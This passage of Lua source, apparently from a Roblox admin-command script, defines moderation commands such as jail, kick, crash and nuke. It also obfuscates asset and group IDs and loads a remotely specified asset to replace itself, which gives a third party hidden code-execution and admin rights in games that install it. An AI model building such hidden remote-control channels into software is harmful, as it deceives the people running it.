902 if IsAbusive == nil then IsAbusive = false end
903 if Commands[CommandName] then table.remove(Commands[CommandName]) end
904 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
905end
906
907function CORE:FixLighting() coroutine.wrap(function()
908 ModLighting = false
909 wait(0.2)
910 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
911 Server.Lighting.FogColor = Color3.new(0,0,0)
912 Server.Lighting.Brightness = 1
913 Server.Lighting.TimeOfDay = 14
914 Server.Lighting.FogEnd = 100000
915end)() end
916
917function CORE:Round(Number)
918 if Number >= 0.5 then
919 return math.ceil(Number)
920 elseif Number < 0.5 then
921 return math.floor(Number)
922 end
923end
924
925local AdminID,Got = nil,false
926repeat wait()
927 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
928until Got == true
929
930function CORE:GetTable(ID)
931 local Thing = nil
932 repeat wait()
933 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
934 until Thing
935 return Thing
936end
937
938function CORE:InAdminGroup(Speaker)
939 local IsIn = false
940 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
941 if Speaker:IsInGroup(Get) then
942 IsIn = true
943 end
944 end
945 if IsIn == true then
946 return true
947 else
948 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
949 return false
950 end
951end
952
953function CORE:ReverseTable(Table)
954 if type(Table) ~= "table" then return Table end
955 local NewTable = {}
956 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
957 return NewTable
958end
959
960function CORE:Log(LogTable, Player, Chat)
961 local PlayerName = tostring(Player)
962 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
963 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
964end
965
966function CORE:Jail(Player)
967 if not Player then return nil end
968 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
969 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
970 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
971 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
972 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
973 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
974 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
975 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
976 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
977 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
978 Cell:MoveTo(Vector3.new(0,3,0))
979
980 if Player.Character and Player.Character:FindFirstChild("Torso") then
981 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
982 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
983 end
984 table.insert(Dispose, Cell)
985 Jails[Player.Name] = Cell
986end
987
988function CORE:UnJail(Player)
989 if not Player then return nil end
990 if Jails[Player.Name] then
991 Jails[Player.Name]:Destroy()
992 Jails[Player.Name] = nil
993 end
994end
995
996function CORE:ChangeName(Player, NewName)
997 if not Player or not NewName then return nil end
998 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
999 local NewName = STRING:FormatReplace(Player, NewName)
1000
1001 for _,Obj in pairs(Player.Character:GetChildren()) do
1002 if Obj.Name == "Label" then Obj:Destroy() end
1003 end
1004
1005 local Head = Player.Character.Head
1006 local HeadClone = Head:Clone()
1007
1008 -- make actual head invisible
1009 Head.Transparency = 1
1010 ypcall(function() Head.face.Transparency = 1 end)
1011
1012 -- make fake head visible
1013 HeadClone.Transparency = 0
1014 ypcall(function() HeadClone.face.Transparency = 0 end)
1015
1016 local Label = Instance.new("Model", Player.Character)
1017 Label.Name = "Label"
1018
1019 local Model = Instance.new("Model", Label)
1020 Model.Name = NewName
1021
1022 local HumanoidClone = Instance.new("Humanoid", Model)
1023 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1024
1025 HeadClone.Position = Vector3.new(0,100,0)
1026 HeadClone.CanCollide = false
1027 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1028
1029
1030 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1031 HeadClone.Parent = Model
1032 local Weld = Instance.new("Weld", HeadClone)
1033 Weld.Part0 = HeadClone
1034 Weld.Part1 = Head
1035 end)
1036 end
1037end
1038
1039function CORE:UpdateAdmin()
1040 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1041 return nil
1042 end
1043 local UpdateModel = AdminID
1044 if UpdateModel == 0 then return end
1045 local NewAdminModel = nil
1046 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1047 if NewAdminModel then
1048 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1049 if NewAdmin then
1050 local NewVersion = NewAdmin:FindFirstChild("Version")
1051 if NewVersion.Value ~= CORE.Version.Value then
1052 if ExploitModule then
1053 ExploitModule.Disabled = true
1054 ExploitModule:Destroy()
1055 end
1056 NewAdmin.Disabled = true
1057 NewAdmin.Parent = Workspace
1058 if not Settings then
1059 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1060 if NewSettings then NewSettings.Parent = Workspace end
1061 end
1062 wait() NewAdmin.Disabled = false
1063 CORE:RemoveAdmin()
1064 else
1065 NewAdminModel:Destroy()
1066 end
1067 end
1068 end
1069end
1070
1071function CORE:UnpackPlayers(Players)
1072 local PlayerNames = ""
1073 for Num,Player in pairs(Players) do
1074 if Player ~= nil then
1075 if Num ~= #Players then
1076 PlayerNames = PlayerNames..Player.Name..", "
1077 else
1078 PlayerNames = PlayerNames..Player.Name
1079 end
1080 end
1081 end
1082 return PlayerNames
1083end
1084
1085function CORE:GetValue(Value)
1086 if Value:IsA("StringValue") then
1087 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1088 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1089 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1090 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1091 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1092 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1093 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1094 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1095 if Admin == Value.Value then
1096 table.remove(Settings.Ranks["Admin"],Num)
1097 end
1098 end
1099 end end
1100 end
1101end
1102
1103function CORE:GetPlayer(ID)
1104 local Return = {"Unknown", ID}
1105 if tonumber(ID) then
1106 for _,Data in pairs(CharacterCache) do
1107 if ID == Data[2] then
1108 return Data
1109 end
1110 end
1111 ypcall(function()
1112 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1113 if Name then
1114 local Data = {Name, ID}
1115 table.insert(CharacterCache, Data)
1116 Return = Data
1117 end
1118 end)
1119 else
1120 local Name = tostring(ID)
1121 for _,Data in pairs(CharacterCache) do
1122 if string.lower(Name) == string.lower(Data[1]) then
1123 return Data
1124 end
1125 end
1126 ypcall(function()
1127 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1128 if PlayerID then
1129 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1130 local Data = {Name, PlayerID}
1131 table.insert(CharacterCache, Data)
1132 Return = Data
1133 end
1134 end)
1135 end
1136
1137 return Return
1138end
1139
1140function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1141 if ID and #tostring(ID) >= 1 then
1142 local PlayerName = nil
1143
1144 local Players = STRING:Scan(ID, Speaker)
1145 if #Players >= 1 then -- if player is found in server
1146 ID = Players[1].UserId
1147 elseif tonumber(ID) then
1148 local Data = CORE:GetPlayer(ID)
1149 PlayerName = Data[1]
1150 else
1151 local Data = CORE:GetPlayer(tostring(ID))
1152 PlayerName = Data[1]
1153 ID = Data[2]
1154 end
1155
1156 if tonumber(ID) == 20018 then -- exploding easter bunny
1157 local OldID = ID
1158 ID = 1
1159 if Speaker then
1160 if RANK:GetRank(Speaker) == "Member" then
1161 coroutine.wrap(function()
1162 wait(1)
1163 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1164 end)()
1165 else ID = OldID
1166 end
1167 end
1168 elseif tonumber(ID) == 1311 then -- ffjosh
1169 local OldID = ID
1170 ID = 1
1171 if Speaker then
1172 if RANK:GetRank(Speaker) == "Member" then
1173 coroutine.wrap(function()
1174 wait(1)
1175 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1176 end)()
1177 else ID = OldID
1178 end
1179 end
1180 end
1181
1182 if tonumber(ID) then
1183 local Position = nil
1184 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1185 if ManualPos then
1186 Position = ManualPos
1187 else
1188 Position = Player.Character.Torso.Position
1189 end
1190 end
1191 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1192 wait() Player:LoadCharacter() wait()
1193 if Position then Player.Character:MoveTo(Position) end
1194 if not Perm then
1195 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1196 end
1197 if NameChar and PlayerName then
1198 wait(2)
1199 CORE:ChangeName(Player, PlayerName)
1200 end
1201 end
1202 end
1203end)() end
1204
1205function CORE:GenerateShield(Player)
1206 if not Player then return nil end
1207 if not Player.Character then return nil end
1208 local Torso = Player.Character:FindFirstChild("Torso")
1209 if not Torso then return nil end
1210
1211 local Shield = Player.Character:FindFirstChild("Shield")
1212 if Shield then Shield:Destroy() end
1213
1214 Shield = Instance.new("Part", Player.Character)
1215 Shield.Name = "Shield"
1216 Shield.Locked = true
1217 Shield.CanCollide = false
1218 Shield.Size = Vector3.new(10,10,10)
1219 Shield.Shape = "Ball"
1220 Shield.Color = GUI:GetColor()
1221 Shield.Transparency = 0.5
1222 Shield.TopSurface = "Smooth"
1223 Shield.BottomSurface = "Smooth"
1224 Shield.Anchored = true
1225 Shield.Position = Torso.Position
1226
1227 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1228 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1229
1230 Hum:Play()
1231
1232 Shield.Touched:connect(function(Part)
1233 if Part.Parent ~= Server.Workspace then
1234 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1235 if Humanoid then
1236 local Char = Humanoid.Parent
1237 if Char:IsA("Model") and Humanoid.Health > 0 then
1238 if Char ~= Player.Character then
1239 Char:BreakJoints()
1240 Zap:Play()
1241 end
1242 end
1243 end
1244 end
1245 end)
1246
1247 coroutine.wrap(function() repeat wait()
1248 Shield.CFrame = Torso.CFrame
1249 until Torso.Parent == nil or Shield.Parent == nil end)()
1250end
1251
1252function CORE:FlingPlayer(Player)
1253 if Player and Player.Character then
1254 if Player.Character:FindFirstChild("Torso") then
1255 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1256 Fling.Name = "Fling"
1257 Fling.force = Vector3.new(10000,10000,10000)
1258 end
1259 end
1260end
1261
1262function CORE:Kick(Player, CustomMessage)
1263 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1264 coroutine.wrap(function()
1265 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1266 wait(1)
1267 Player:Kick(CustomMessage)
1268 end)()
1269end
1270
1271function CORE:Crash(Player)
1272 local Parent = Player
1273 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1274 elseif Player.Character then Parent = Player.Character end
1275
1276 CORE:ExecuteResource("Crash", Parent)
1277end
1278
1279function CORE:RestoreCamera(Player)
1280 if Player.Backpack then
1281 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1282 end
1283end
1284
1285function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1286 local function ScanInstance(Object)
1287 if #Object:GetChildren() > 0 then
1288 for _,Obj in pairs(Object:GetChildren()) do
1289 local IsType = false
1290 if ObjTypes and #ObjTypes > 0 then
1291 for _,ObjType in pairs(ObjTypes) do
1292 if Obj:IsA(ObjType) then
1293 IsType = true
1294 break
1295 end
1296 end
1297 else
1298 IsType = true
1299 end
1300 if IsType == true then
1301 ActiveFunc(Obj)
1302 end
1303 ScanInstance(Obj)
1304 end
1305 end
1306 end
1307 ScanInstance(BaseObj)
1308end
1309
1310function CORE:AnchorPlayer(Player)
1311 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1312
1313 Player.Character.Humanoid.WalkSpeed = 0
1314 for _,Object in pairs(Player.Character:GetChildren()) do
1315 if Object:IsA("BasePart") then
1316 Object.Anchored = true
1317 end
1318 end
1319end
1320
1321function CORE:UnanchorPlayer(Player)
1322 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1323
1324 Player.Character.Humanoid.WalkSpeed = 16
1325 for _,Object in pairs(Player.Character:GetChildren()) do
1326 if Object:IsA("BasePart") then
1327 Object.Anchored = false
1328 end
1329 end
1330end
1331
1332function CORE:InvisiblePlayer(Player)
1333 if not Player or not Player.Character then return end
1334
1335 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1336end
1337
1338function CORE:VisiblePlayer(Player)
1339 if not Player or not Player.Character then return end
1340
1341 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1342end
1343
1344function CORE:Nuke(Player) coroutine.wrap(function()
1345 local Pos = CFrame.new(0,1,0)
1346 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1347 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1348 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1349 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1350 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1351 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1352
1353 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1354
1355 Server.Lighting.Brightness = 5
1356 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1357 Server.OutdoorAmbient = Color3.new(1,1,1)
1358
1359 local Exp = Instance.new("Explosion", Server.Workspace)
1360 Exp.Position = Pos.p
1361 Exp.BlastPressure = 10000000
1362 Exp.BlastRadius = 1000000
1363 Exp.Hit:connect(function(Part)
1364 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1365 ypcall(function()
1366 Part.Anchored = false
1367 Part.BrickColor = BrickColor.new("Black")
1368 Part.Material = "Slate"
1369 Part:BreakJoints()
1370 end)
1371 end
1372 end)
1373
1374 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1375 BoomSound:Play()
1376 for i = 0,100,0.5 do
1377 Blast.Anchored = true
1378 Wave.Anchored = true
1379 BlastMesh.Scale = Vector3.new(i,i,i)
1380 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1381 Blast.CFrame = Pos
1382 wait()
1383 end
1384 BoomSound:Stop()
1385 Blast:Destroy()
1386 Wave:Destroy()
1387 wait()
1388 BoomSound:Destroy()
1389 Effect:Destroy()
1390 for i = 10,5,-1 do
1391 Server.Lighting.Brightness = (i-5) + 1
1392 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1393 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1394 wait(0.05)
1395 end
1396end)() end
1397
1398function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1399 local AssetID = tonumber(AssetID)
1400 local Item = nil
1401 if AssetID and AssetID ~= 1055299 then
1402 local CanInsert = true
1403 if AbuseMode then
1404 for _,ID in pairs(RemoteAbuseGear) do
1405 if AssetID == tonumber(ID) then CanInsert = false break end
1406 end
1407 for _,ID in pairs(Settings.AbusableGear) do
1408 if AssetID == tonumber(ID) then CanInsert = false break end
1409 end
1410 end
1411 if CanInsert then
1412 Item = Server.IS:LoadAsset(AssetID)
1413 if GetFirstChild then
1414 Item = Item:GetChildren()[1]
1415 if FirstChildTypes and Item then
1416 local ValidType = false
1417 for _,Type in pairs(FirstChildTypes) do
1418 if Item:IsA(Type) then
1419 ValidType = true
1420 break
1421 end
1422 end
1423 if ValidType == false then
1424 Item = nil
1425 end
1426 end
1427 end
1428 if Item and Parent then
1429 Item.Parent = Parent
1430 end
1431 end
1432 end
1433 return Item
1434end
1435
1436function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1437 if not Player or not Player.Character then return nil end
1438 PID = tonumber(PID)
1439 for _,Obj in pairs(Player.Character:GetChildren()) do
1440 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1441 end
1442 if PID then
1443 -- back when we needed HttpService to get packages.
1444 --[[
1445 if PackageCache[PID] then
1446 for _,ID in pairs(PackageCache[PID]) do
1447 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1448 end
1449 else
1450 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1451 if IDsJSON then
1452 local IDs = REMOTE:Decode(IDsJSON)
1453 if IDs then
1454 if not IDs["Error"] then
1455 table.insert(PackageCache, IDs)
1456 for _,ID in pairs(IDs) do
1457 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1458 end
1459 end
1460 end
1461 end
1462 end
1463 ]]
1464 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1465 local IDs = {}
1466 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1467 if #IDs > 0 then
1468 for _,ID in pairs(IDs) do
1469 local PackagePart = CORE:Insert(ID)
1470 for _,Obj in pairs(PackagePart:GetChildren()) do
1471 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1472 Obj.Parent = Player.Character
1473 elseif Obj:IsA("Folder") then
1474 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1475 Obj:GetChildren()[1].Parent = Player.Character
1476 end
1477 end
1478 end
1479 end
1480 end
1481 end
1482end)() end
1483
1484function CORE:ChangeBet(Bet)
1485 if tostring(Bet) and Bet ~= Settings.Bet then
1486 for Index,Data in pairs(Commands) do
1487 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1488 end
1489 Settings.Bet = Bet
1490 end
1491end
1492
1493function CORE:ResetLighting()
1494 ModLighting = false wait(0.2) ModLighting = true
1495end
1496
1497function CORE:Fly(Player, Force)
1498 if Player and Player.Character then
1499 local StopFly = Instance.new("RemoteFunction", Player.Character)
1500 StopFly.Name = "StopMMLFly"
1501 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1502 end
1503end
1504
1505function CORE:GiveTools(Player, Type)
1506 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1507 Type = string.lower(Type)
1508 local _,RankNum = RANK:GetRank(Player)
1509 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1510 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1511
1512 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1513 for Name,Type in pairs(BaseBuildTools) do
1514 local Tool = Instance.new("HopperBin", Player.Backpack)
1515 Tool.Name = Name
1516 Tool.BinType = Type
1517 end
1518 elseif Type == "psbtools" then
1519 for _,Tool in pairs(BuildTools) do
1520 CORE:Insert(Tool, Player.Backpack, true)
1521 end
1522 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1523 if F3X then
1524 local F3X = F3X:Clone()
1525 F3X.Parent = Player.Backpack
1526 end
1527 elseif Type == "btools" then
1528 if F3X then
1529 local F3X = F3X:Clone()
1530 F3X.Parent = Player.Backpack
1531 end
1532 for Name,Type in pairs(BaseBuildTools) do
1533 local Tool = Instance.new("HopperBin", Player.Backpack)
1534 Tool.Name = Name
1535 Tool.BinType = Type
1536 end
1537 for _,Tool in pairs(BuildTools) do
1538 CORE:Insert(Tool, Player.Backpack, true)
1539 end
1540 else
1541 for _,Region in pairs(ToolRegions) do
1542 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1543 if Type == "all" then
1544 local NewItem = Item:Clone()
1545 NewItem.Parent = Player.Backpack
1546 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1547 local NewItem = Item:Clone()
1548 NewItem.Parent = Player.Backpack
1549 end
1550 end)
1551 end
1552 end
1553end
1554
1555function CORE:Scale(Player, ScalePercent)
1556 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1557 local Ratio = ScalePercent/100
1558 if Ratio < 0.05 then Ratio = 0.05 end
1559 if Ratio > 100 then Ratio = 100 end
1560 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1561 local Char = Player.Character
1562
1563 local Clean = Char:FindFirstChild("Clean")
1564 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1565 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1566
1567 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1568 local Welds = {}
1569 local Parts = {}
1570
1571 local function Handle(Obj)
1572 if Obj:IsA("BasePart") and not JustWeld then
1573 table.insert(Parts, Obj)
1574 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1575 if Obj.Name == "MML Mesh" then
1576 Obj:Destroy()
1577 end
1578 if Obj.MeshType == Enum.MeshType.FileMesh then
1579 Obj.Offset = Obj.Offset * ScaleRatio
1580 Obj.Scale = Obj.Scale * ScaleRatio
1581 elseif Ratio < 1 then
1582 Obj.Offset = Obj.Offset * ScaleRatio
1583 Obj.Scale = Obj.Scale * ScaleRatio
1584 end
1585 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1586 if Ratio < 1 then
1587 local BodyPart = ""
1588 local TextureID = Obj.BaseTextureId
1589 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1590 if TextureID == 0 then TextureID = nil end
1591 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1592 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1593 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1594 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1595 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1596 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1597 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1598 NewMesh.Name = "MML Mesh"
1599 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1600 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1601 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1602 Obj:Destroy()
1603 end
1604 elseif Obj:IsA("JointInstance") then
1605 local NewWeld = Obj:Clone()
1606 table.insert(Welds, {NewWeld, Obj.Parent})
1607 elseif NewAdd == true and not JustWeld then
1608 if Obj:IsA("Tool") then
1609 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1610 elseif Obj:IsA("Accoutrement") then
1611 --Cycle(Char.Head, ScaleRatio, false, true)
1612 end
1613 end
1614 if #Obj:GetChildren() > 0 then
1615 for _,NewObj in pairs(Obj:GetChildren()) do
1616 Handle(NewObj, ScaleRatio)
1617 end
1618 end
1619 end
1620 Handle(BaseObj)
1621 for _,Part in pairs(Parts) do
1622 if Ratio >= 1 then
1623 Part.Size = Part.Size * ScaleRatio
1624 else
1625 local Allowed = true
1626 for _,Obj in pairs(Part:GetChildren()) do
1627 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1628 Allowed = false
1629 end
1630 end
1631 if Allowed == true then
1632 local NewMesh = Instance.new("BlockMesh", Part)
1633 NewMesh.Name = "MML Mesh"
1634 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1635 end
1636 end
1637 end
1638 for _,WeldData in pairs(Welds) do
1639 if WeldData[1] then
1640 local Obj = WeldData[1]
1641 local NewWeld = Obj:Clone()
1642
1643 NewWeld.Parent = WeldData[2]
1644 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1645 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1646 end
1647 end
1648 for _,Part in pairs(Parts) do
1649 Part:MakeJoints()
1650 end
1651 Welds = {}
1652 Parts = {}
1653 end
1654 Cycle(Char, Ratio)
1655 Char:MakeJoints()
1656
1657 local Added = Char.ChildAdded:connect(function(Obj)
1658 Cycle(Obj, Ratio, NewAdd)
1659 end)
1660 local Removed = Char.ChildRemoved:connect(function(Obj)
1661 Cycle(Obj, Ratio^-1, NewAdd)
1662 end)
1663
1664 Clean.OnInvoke = function()
1665 Added:disconnect()
1666 Removed:disconnect()
1667 local Location = Vector3.new(0,5,0)
1668 if Char:FindFirstChild("Torso") then
1669 Location = Char.Torso.Position + Vector3.new(0,2,0)
1670 end
1671 Player:LoadCharacter()
1672 wait(0.5)
1673 Player.Character:MoveTo(Location)
1674 wait(0.5)
1675 return nil
1676 end
1677
1678 if Char:FindFirstChild("Torso") then
1679 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1680 end
1681 if Char:FindFirstChild("Humanoid") then
1682 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1683 end
1684 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1685 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1686 end
1687end
1688
1689function CORE:AddExploit(PlayerClient, Data)
1690 local PlayerClientName = PlayerClient.Name
1691 local NewData = CORE:GetTime(true, true).." @ "..Data
1692 for _,Player in pairs(Server.Players:GetChildren()) do
1693 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1694 end
1695 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1696 if type(ExploitLog) ~= "table" then
1697 Server.GDS:SetAsync("ExploitLog", {NewData})
1698 else
1699 table.insert(ExploitLog, NewData)
1700 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1701 end
